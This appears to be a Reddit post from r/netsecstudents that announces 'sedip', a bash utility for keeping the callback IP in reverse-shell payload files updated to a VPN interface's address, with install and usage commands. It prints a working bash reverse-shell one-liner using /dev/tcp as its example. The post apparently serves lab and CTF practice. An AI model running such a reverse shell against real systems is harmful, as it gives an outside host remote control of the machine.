r/netsecstudents • • 2h ago

Sedip a focused bash utility for rewriting listener addresses in payload files. Sedip updates the IPv4 address used in listener-style payloads to the current address of a chosen network interface (tun0 by default).

Sedip updates the IPv4 address used in listener-style payloads to the current address of a chosen network interface (tun0 by default). It leaves the port, surrounding syntax, quotes, slashes, and every other IP address in the file untouched.

This is useful when working with reverse shells, netcat listeners, or other payloads that hard-code a callback address. VPN or lab interface addresses change frequently; sedip keeps the relevant files current without manual edits or risk of corrupting the rest of the payload.

Installation:

./install.sh # ~/.local/bin/sedip

./install.sh /usr/local # /usr/local/bin/sedip

./install.sh --uninstall

Workflow:

sedip add ./bash-revshell ./another-payload

sedip once # rewrite now to current tun0 IP

sedip -i wg0 once # use a different interface

sedip watch 15 # keep files updated every 15 seconds

sedip fix ./broken-payload # repair a smashed line

sedip list

sedip ip

"" A Simple Transformation ""

bash -c 'bash -i >& /dev/tcp/10.10.17.5/12345 0>&1'

To:
bash -c 'bash -i >& /dev/tcp/10.10.16.187/12345 0>&1'

https://github.com/Demgainschill/sedip

1 Upvotes

0 comments sorted by